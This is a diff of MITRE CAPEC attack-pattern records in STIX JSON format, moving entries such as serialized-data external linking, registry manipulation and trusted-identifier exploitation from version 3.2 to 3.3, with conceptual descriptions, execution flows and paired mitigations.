"modified": "2014-06-23T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--24444738-98cb-4371-b7e9-aba1bd3d11ad", "source_ref": "course-of-action--8ce2fd56-5e92-4999-b81d-697c7ddb5202", "relationship_type": "mitigates", "target_ref": "attack-pattern--86a5e931-7f53-46fe-b6f0-c88498f6557f" }, { + "id": "attack-pattern--5c201b0f-aa6f-4220-a544-1e1e7ca8ecf7", "name": "Removal of filters: Input filters, output filters, data masking", "description": "An attacker removes or disables filtering mechanisms on the target application. Input filters prevent invalid data from being sent to an application (for example, overly large inputs that might cause a buffer overflow or other malformed inputs that may not be correctly handled by an application). Input filters might also be designed to constrained executable content. For example, if an application accepts scripting languages as input, an input filter could constrain the commands received and block those that the application's administrator deems to be overly powerful. An output filter screens responses from an application or person in order to prevent disclosure of sensitive information. For example, an application's output filter might block output that is sourced to sensitive folders or which contains certain keywords. A data mask is similar to an output filter, but usually applies to structured data, such as found in databases. Data masks elide or replace portions of the information returned from a query in order to protect against the disclosure of sensitive information. If an input filter is removed the attacker will be able to send content to the target and have the target utilize it without it being sanitized. If the content sent by the attacker is executable, the attacker may be able to execute arbitrary commands on the target. If an output filter or data masking mechanism is disabled, the target may send out sensitive information that would otherwise be elided by the filters. If the data mask is disabled, sensitive information stored in a database would be returned unaltered. This could result in the disclosure of sensitive information, such as social security numbers of payment records. This attack is usually executed as part of a larger attack series. The attacker would disable filters and would then mount additional attacks to either insert commands or data or query the target application in ways that would otherwise be prevented by the filters.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -10882,19 +11808,19 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--5c201b0f-aa6f-4220-a544-1e1e7ca8ecf7" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { - "name": "XML Entity Linking", - "description": "An attacker creates an XML document that contains an external entity reference. External entity references can take the form of tags in a DTD. Because processors may not validate documents with external entities, there may be no checks on the nature of the reference in the external entity. This can allow an attacker to open arbitrary files or connections.", + "id": "attack-pattern--d9717514-c621-49cd-b8e1-fd7cc1daa8d1", + "name": "Serialized Data External Linking", + "description": "An attacker creates a serialized data file (e.g. XML, YAML, etc...) that contains an external entity reference. Because serialized data parsers may not validate documents with external references, there may be no checks on the nature of the reference in the external entity. This can allow an attacker to open arbitrary files or connections.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -10925,7 +11851,7 @@ "The target must follow external entity references without validating the validity of the reference target." ], "x_capec_skills_required": { - "Low": "To send XML messages with maliciously crafted DTDs." + "Low": "To send serialized data messages with maliciously crafted schema." }, "x_capec_resources_required": [ "None: No specialized resources are required to execute this type of attack." @@ -10934,37 +11860,40 @@ "x_capec_example_instances": [ "\n The following DTD would attempt to open the /dev/tty device:\n ]>\n A malicious actor could use this crafted DTD to reveal sensitive information.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the target: Using a browser or an automated tool, an attacker records all instances of web services that process requests with serialized data.

    2. Techniques
    Use an automated tool to record all instances of URLs that process requests with serialized data.
    Use a browser to manually explore the website and analyze how the application processes serialized data requests.

Exploit

  1. Launch an External Entity Linking attack: The attacker crafts malicious data message that contains references to sensitive files.

    2. Techniques
    Send the malicious crafted message containing the reference to a sensitive file to the target URL.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--d9717514-c621-49cd-b8e1-fd7cc1daa8d1" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-201-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Configure the XML processor to only retrieve external entities from trusted sources.", + "description": "Configure the serialized data processor to only retrieve external entities from trusted sources.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--55af95f6-68da-4c0d-b33c-b0e7b88c9865" + "id": "course-of-action--5e577722-adf8-4c68-bfc3-18c7b2e3cd69" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--66968af1-c9a8-4297-a996-19f2e6ce1fc5", - "source_ref": "course-of-action--55af95f6-68da-4c0d-b33c-b0e7b88c9865", + "id": "relationship--6d8b8b0b-8f2d-4cfd-a9fa-dd14e071f340", + "source_ref": "course-of-action--5e577722-adf8-4c68-bfc3-18c7b2e3cd69", "relationship_type": "mitigates", "target_ref": "attack-pattern--d9717514-c621-49cd-b8e1-fd7cc1daa8d1" }, { + "id": "attack-pattern--158c1c58-9c44-4822-a8a4-6cb791c5b3cb", "name": "Create Malicious Client", "description": "An adversary creates a client application to interface with a target service where the client violates assumptions the service makes about clients. Services that have designated client applications (as opposed to services that use general client applications, such as IMAP or POP mail servers which can interact with any IMAP or POP client) may assume that the client will follow specific procedures. For example, servers may assume that clients will accurately compute values (such as prices), will send correctly structured messages, and will attempt to ensure efficient interactions with the server. By reverse-engineering a client and creating their own version, an adversary can take advantage of these assumptions to abuse service functionality. For example, a purchasing service might send a unit price to its client and expect the client to correctly compute the total cost of a purchase. If the adversary uses a malicious client, however, the adversary could ignore the server input and declare any total price. Likewise, an adversary could configure the client to retain network or other server resources for longer than legitimately necessary in order to degrade server performance. Even services with general clients can be susceptible to this attack if they assume certain client behaviors. However, such services generally can make fewer assumptions about the behavior of their clients in the first place and, as such, are less likely to make assumptions that an adversary can exploit.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -10994,11 +11923,11 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--158c1c58-9c44-4822-a8a4-6cb791c5b3cb" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--e283aef8-250b-4ac9-bf8b-34a6a70ed2f4", "name": "Manipulate Registry Information", "description": "An adversary exploits a weakness in authorization in order to modify content within a registry (e.g., Windows Registry, Mac plist, application registry). Editing registry information can permit the adversary to hide configuration information or remove indicators of compromise to cover up activity. Many applications utilize registries to store configuration and service information. As such, modification of registry information can affect individual services (affecting billing, authorization, or even allowing for identity spoofing) or the overall configuration of a targeted application. For example, both Java RMI and SOAP use registries to track available services. Changing registry values is sometimes a preliminary step towards completing another attack pattern, but given the long term usage of many registry values, manipulation of registry information could be its own end.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -11006,7 +11935,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -11017,6 +11946,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/15.html", "external_id": "CWE-15" + }, + { + "source_name": "ATTACK", + "description": "Modify Registry", + "url": "https://attack.mitre.org/wiki/Technique/T1112", + "external_id": "T1112" } ], "x_capec_typical_severity": "Medium", @@ -11035,56 +11970,59 @@ "Manipulating registration information can be undertaken in advance of a path traversal attack (inserting relative path modifiers) or buffer overflow attack (enlarging a registry value beyond an application's ability to store it)." ], "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--e283aef8-250b-4ac9-bf8b-34a6a70ed2f4" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--ffb43c3c-114d-4da2-b797-b8e458ebd6fa", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-203-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys.", - "type": "course-of-action", - "id": "course-of-action--ffb43c3c-114d-4da2-b797-b8e458ebd6fa" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--cc7d659b-2cb2-439c-aea4-42aea4f82adc", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--cc7d659b-2cb2-439c-aea4-42aea4f82adc", "source_ref": "course-of-action--ffb43c3c-114d-4da2-b797-b8e458ebd6fa", "relationship_type": "mitigates", "target_ref": "attack-pattern--e283aef8-250b-4ac9-bf8b-34a6a70ed2f4" }, { + "id": "course-of-action--9c745fa6-97fd-4aa7-830c-2522e1df5ea6", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-203-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Employ a robust and layered defensive posture in order to prevent unauthorized users on your system.", - "type": "course-of-action", - "id": "course-of-action--9c745fa6-97fd-4aa7-830c-2522e1df5ea6" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--999b1481-d5c3-444d-8eed-b7f921aa8bdf", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--999b1481-d5c3-444d-8eed-b7f921aa8bdf", "source_ref": "course-of-action--9c745fa6-97fd-4aa7-830c-2522e1df5ea6", "relationship_type": "mitigates", "target_ref": "attack-pattern--e283aef8-250b-4ac9-bf8b-34a6a70ed2f4" @@ -11092,29 +12030,32 @@ { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-203-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Employ robust identification and audit/blocking via whitelisting of applications on your system. Unnecessary applications, utilities, and configurations will have a presence in the system registry that can be leveraged by an adversary through this attack pattern.", + "description": "Employ robust identification and audit/blocking using an allowlist of applications on your system. Unnecessary applications, utilities, and configurations will have a presence in the system registry that can be leveraged by an adversary through this attack pattern.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--d9f684af-93bf-4585-8c82-1995b8554117" + "id": "course-of-action--2966a770-a439-475c-8cc1-418b64736efe" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--17ae6477-c11a-46f1-896d-b6d759d82b40", - "source_ref": "course-of-action--d9f684af-93bf-4585-8c82-1995b8554117", + "id": "relationship--90f1e2e6-849c-4469-b78d-75ed3dfe70e3", + "source_ref": "course-of-action--2966a770-a439-475c-8cc1-418b64736efe", "relationship_type": "mitigates", "target_ref": "attack-pattern--e283aef8-250b-4ac9-bf8b-34a6a70ed2f4" }, { + "id": "attack-pattern--c2a87533-3c81-40b3-b529-9560c644f70d", "name": "Lifting Sensitive Data Embedded in Cache", "description": "An attacker examines a target application's cache for sensitive information. Many applications that communicate with remote entities or which perform intensive calculations utilize caches to improve efficiency. However, if the application computes or receives sensitive information and the cache is not appropriately protected, an attacker can browse the cache and retrieve this information. This can result in the disclosure of sensitive information.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -11122,7 +12063,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -11138,6 +12079,16 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/311.html", "external_id": "CWE-311" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1239.html", + "external_id": "CWE-1239" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1258.html", + "external_id": "CWE-1258" } ], "x_capec_typical_severity": "Medium", @@ -11150,11 +12101,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--c2a87533-3c81-40b3-b529-9560c644f70d" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--1d84e8ef-4dc7-45bb-b079-09a0a6233bf9", "name": "DEPRECATED: Lifting credential(s)/key material embedded in client distributions (thick or thin)", "description": "This attack pattern has been deprecated as it is a duplicate of CAPEC-37 : Retrieve Embedded Sensitive Data. Please refer to this other pattern going forward.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -11172,11 +12123,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--1d84e8ef-4dc7-45bb-b079-09a0a6233bf9" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--3c71639a-ebbd-43a4-8d0d-8a0e4cf9ade3", "name": "Signing Malicious Code", "description": "The attacker extracts credentials used for code signing from a production environment and then uses these credentials to sign malicious content with the developer's key. Many developers use signing keys to sign code or hashes of code. When users or applications verify the signatures are accurate they are led to believe that the code came from the owner of the signing key and that the code has not been modified since the signature was applied. If the attacker has extracted the signing credentials then they can use those credentials to sign their own code bundles. Users or tools that verify the signatures attached to the code will likely assume the code came from the legitimate developer and install or run the code, effectively allowing the attacker to execute arbitrary code on the victim's computer.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -11184,7 +12135,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -11195,6 +12146,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/732.html", "external_id": "CWE-732" + }, + { + "source_name": "ATTACK", + "description": "Subvert Trust Controls:Code Signing", + "url": "https://attack.mitre.org/wiki/Technique/T1553/002", + "external_id": "T1553.002" } ], "x_capec_typical_severity": "Very High", @@ -11206,11 +12163,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--3c71639a-ebbd-43a4-8d0d-8a0e4cf9ade3" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--3c404955-b160-423f-b148-d4fa4727e3a9", "name": "Removing Important Client Functionality", "description": "An attacker removes or disables functionality on the client that the server assumes to be present and trustworthy. Attackers can, in some cases, get around logic put in place to 'guard' sensitive functionality or data. Client applications may include functionality that a server relies on for correct and secure operation. This functionality can include, but is not limited to, filters to prevent the sending of dangerous content to the server, logical functionality such as price calculations, and authentication logic to ensure that only authorized users are utilizing the client. If an attacker can disable this functionality on the client, they can perform actions that the server believes are prohibited. This can result in client behavior that violates assumptions by the server leading to a variety of possible attacks. In the above examples, this could include the sending of dangerous content (such as scripts) to the server, incorrect price calculations, or unauthorized access to server resources.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -11292,12 +12249,13 @@ "Attacker uses click-through exploration of a Servlet-based website to map out its functionality, taking note of its URL-naming conventions and Servlet mappings. Using this knowledge and guessing the Servlet name of functionality they're not authorized to use, the Attacker directly navigates to the privileged functionality around the authorizing single-front controller (implementing programmatic authorization checks).", "Attacker reverse-engineers a Java binary (by decompiling it) and identifies where license management code exists. Noticing that the license manager returns TRUE or FALSE as to whether or not the user is licensed, the Attacker simply overwrites both branch targets to return TRUE, recompiles, and finally redeploys the binary." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Probing: The attacker probes, through brute-forcing, reverse-engineering or other similar means, the functionality on the client that server assumes to be present and trustworthy.

    2. Techniques
    The attacker probes by exploring an application's functionality and its underlying mapping to server-side components.
    The attacker reverse engineers client-side code to identify the functionality that the server relies on for the proper or secure operation.

Experiment

  1. Determine which functionality to disable or remove: The attacker tries to determine which functionality to disable or remove through reverse-engineering from the list of functionality identified in the Explore phase.

    2. Techniques
    The attacker reverse engineers the client-side code to determine which functionality to disable or remove.

Exploit

  1. Disable or remove the critical functionality from the client code: Once the functionality has been determined, the attacker disables or removes the critical functionality from the client code to perform malicious actions that the server believes are prohibited.

    2. Techniques
    The attacker disables or removes the functionality from the client-side code to perform malicious actions, such as sending of dangerous content (such as scripts) to the server.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--3c404955-b160-423f-b148-d4fa4727e3a9" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--5b0a3ddb-6d63-403e-8f60-bf821f6b65fe", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -11306,23 +12264,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side.", - "type": "course-of-action", - "id": "course-of-action--5b0a3ddb-6d63-403e-8f60-bf821f6b65fe" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--c5ee791d-5a7a-424b-8425-74c45b4c310e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c5ee791d-5a7a-424b-8425-74c45b4c310e", "source_ref": "course-of-action--5b0a3ddb-6d63-403e-8f60-bf821f6b65fe", "relationship_type": "mitigates", "target_ref": "attack-pattern--3c404955-b160-423f-b148-d4fa4727e3a9" }, { + "id": "course-of-action--a354ac27-1c18-44cc-bff5-3b97838a8a13", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -11331,23 +12291,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Ship client-side application with integrity checks (code signing) when possible.", - "type": "course-of-action", - "id": "course-of-action--a354ac27-1c18-44cc-bff5-3b97838a8a13" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--bc683ec3-bdbd-4f4b-9388-34935ef7440e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--bc683ec3-bdbd-4f4b-9388-34935ef7440e", "source_ref": "course-of-action--a354ac27-1c18-44cc-bff5-3b97838a8a13", "relationship_type": "mitigates", "target_ref": "attack-pattern--3c404955-b160-423f-b148-d4fa4727e3a9" }, { + "id": "course-of-action--3ccd2b17-b570-40d7-967b-b16308019cdb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -11356,23 +12318,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Use obfuscation and other techniques to prevent reverse engineering the client code.", - "type": "course-of-action", - "id": "course-of-action--3ccd2b17-b570-40d7-967b-b16308019cdb" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--471fb693-94a4-42fa-a5d0-f5f7f15c36a9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--471fb693-94a4-42fa-a5d0-f5f7f15c36a9", "source_ref": "course-of-action--3ccd2b17-b570-40d7-967b-b16308019cdb", "relationship_type": "mitigates", "target_ref": "attack-pattern--3c404955-b160-423f-b148-d4fa4727e3a9" }, { + "id": "attack-pattern--014e5fc2-7564-4775-94aa-220601522b05", "name": "Removing/short-circuiting 'Purse' logic: removing/mutating 'cash' decrements", "description": "An attacker removes or modifies the logic on a client associated with monetary calculations resulting in incorrect information being sent to the server. A server may rely on a client to correctly compute monetary information. For example, a server might supply a price for an item and then rely on the client to correctly compute the total cost of a purchase given the number of items the user is buying. If the attacker can remove or modify the logic that controls these calculations, they can return incorrect values to the server. The attacker can use this to make purchases for a fraction of the legitimate cost or otherwise avoid correct billing for activities.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -11402,11 +12366,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--014e5fc2-7564-4775-94aa-220601522b05" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--b27e3b46-2838-4339-a570-006474c8c402", "name": "XSS Using MIME Type Mismatch", "description": "An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -11457,19 +12421,19 @@ "In another example, img tags in HTML content could reference a renderable type file instead of an expected image file. The file extension and MIME type can describe an image file, but the file content can be text/javascript or text/html resulting in script execution. If the browser assumes all references in img tags are images, and therefore do not need to be filtered for scripts, this would bypass content filters." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--b27e3b46-2838-4339-a570-006474c8c402" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { - "name": "Exploitation of Trusted Credentials", - "description": "Attacks on session IDs and resource IDs take advantage of the fact that some software accepts user input without verifying its authenticity. For example, a message queuing system that allows service requesters to post messages to its queue through an open channel (such as anonymous FTP), authorization is done through checking group or role membership contained in the posted message. However, there is no proof that the message itself, the information in the message (such group or role membership), or indeed the process that wrote the message to the queue are authentic and authorized to do so. Many server side processes are vulnerable to these attacks because the server to server communications have not been analyzed from a security perspective or the processes \"trust\" other systems because they are behind a firewall. In a similar way servers that use easy to guess or spoofable schemes for representing digital identity can also be vulnerable. Such systems frequently use schemes without cryptography and digital signatures (or with broken cryptography). Session IDs may be guessed due to insufficient randomness, poor protection (passed in the clear), lack of integrity (unsigned), or improperly correlation with access control policy enforcement points. Exposed configuration and properties files that contain system passwords, database connection strings, and such may also give an attacker an edge to identify these identifiers. The net result is that spoofing and impersonation is possible leading to an attacker's ability to break authentication, authorization, and audit controls on the system.", + "id": "attack-pattern--2351ee64-dd85-4bc3-bb43-aaa2ca5c1228", + "name": "Exploitation of Trusted Identifiers", + "description": "\n An adversary guesses, obtains, or \"rides\" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service. Attacks leveraging trusted identifiers typically result in the adversary laterally moving within the local network, since users are often allowed to authenticate to systems/applications within the network using the same identifier. This further allows the adversary to obtain sensitive data, download/install malware on the system, pose as a legitimate user for social engineering purposes, and more.\n Attacks on trusted identifiers take advantage of the fact that some software accepts user input without verifying its authenticity. For example, in a message queuing system that allows service requesters to post messages to its queue through an open channel (such as anonymous FTP), authorization is done through checking group or role membership contained in the posted message. However, there is no proof that the message itself, the information in the message (such group or role membership), or the process that wrote the message to the queue is authentic and authorized to do so. Many server side processes are vulnerable to these attacks because the server to server communications have not been analyzed from a security perspective or the processes \"trust\" other systems because they are behind a firewall. Similarly, servers that use easy to guess or spoofable schemes for representing digital identity can also be vulnerable. Such systems frequently use schemes without cryptography and digital signatures (or with broken cryptography). Identifiers may be guessed or obtained due to insufficient randomness, poor protection (passed/stored in the clear), lack of integrity (unsigned), or improper correlation with access control policy enforcement points. Exposed configuration and properties files that contain sensitive data may additionally provide an adversary with the information needed to obtain these identifiers. An adversary may also \"ride\" an identifier via a malicious link, as is the case in Cross Site Request Forgery (CSRF) attacks.\n Regardless of the attack vector, successful spoofing and impersonation of trusted credentials can lead to an adversary breaking authentication, authorization, and audit controls with the target system or application.\n ", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -11521,6 +12485,12 @@ "url": "http://cwe.mitre.org/data/definitions/642.html", "external_id": "CWE-642" }, + { + "source_name": "ATTACK", + "description": "Access Token Manipulation:Token Impersonation/Theft", + "url": "https://attack.mitre.org/wiki/Technique/T1134/001", + "external_id": "T1134.001" + }, { "source_name": "reference_from_CAPEC", "description": "G. Hoglund, G. McGraw, Exploiting Software: How to Break Code, 2004--02, Addison-Wesley", @@ -11530,13 +12500,16 @@ "x_capec_likelihood_of_attack": "High", "x_capec_typical_severity": "High", "x_capec_prerequisites": [ - "Server software must rely on weak session IDs proof and/or verification schemes" + "Server software must rely on weak identifier proof and/or verification schemes.", + "Identifiers must have long lifetimes and potential for reusability.", + "Server software must allow concurrent sessions to exist." ], "x_capec_skills_required": { "Low": "To achieve a direct connection with the weak or non-existent server session access control, and pose as an authorized user" }, "x_capec_resources_required": [ - "Ability to deploy software on network. Ability to communicate synchronously or asynchronously with server" + "Ability to deploy software on network.", + "Ability to communicate synchronously or asynchronously with server." ], "x_capec_consequences": { "Confidentiality": [ @@ -11546,7 +12519,7 @@ "Access_Control": [ "Gain Privileges" ], - "Authorization": [ + "Authentication": [ "Gain Privileges" ], "Integrity": [ @@ -11555,59 +12528,63 @@ }, "x_capec_abstraction": "Meta", "x_capec_example_instances": [ - "\n Thin client applications like web applications are particularly vulnerable to session ID attacks. Since the server has very little control over the client, but still must track sessions, data, and objects on the server side, cookies and other mechanisms have been used to pass the key to the session data between the client and server. When these session keys are compromised it is trivial for an attacker to impersonate a user's session in effect, have the same capabilities as the authorized user. There are two main ways for an attacker to exploit session IDs.\n A brute force attack involves an attacker repeatedly attempting to query the system with a spoofed session header in the HTTP request. A web server that uses a short session ID can be easily spoofed by trying many possible combinations so the parameters session-ID= 1234 has few possible combinations, and an attacker can retry several hundred or thousand request with little to no issue on their side.\n The second method is interception, where a tool such as wireshark is used to sniff the wire and pull off any unprotected session identifiers. The attacker can then use these variables and access the application.\n " + "\n Thin client applications like web applications are particularly vulnerable to session ID attacks. Since the server has very little control over the client, but still must track sessions, data, and objects on the server side, cookies and other mechanisms have been used to pass the key to the session data between the client and server. When these session keys are compromised it is trivial for an adversary to impersonate a user's session in effect, have the same capabilities as the authorized user. There are two main ways for an adversary to exploit session IDs.\n A brute force attack involves an adversary repeatedly attempting to query the system with a spoofed session header in the HTTP request. A web server that uses a short session ID can be easily spoofed by trying many possible combinations so the parameters session-ID= 1234 has few possible combinations, and an adversary can retry several hundred or thousand request with little to no issue on their side.\n The second method is interception, where a tool such as wireshark is used to sniff the wire and pull off any unprotected session identifiers. The adversary can then use these variables and access the application.\n " ], - "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--2351ee64-dd85-4bc3-bb43-aaa2ca5c1228" + 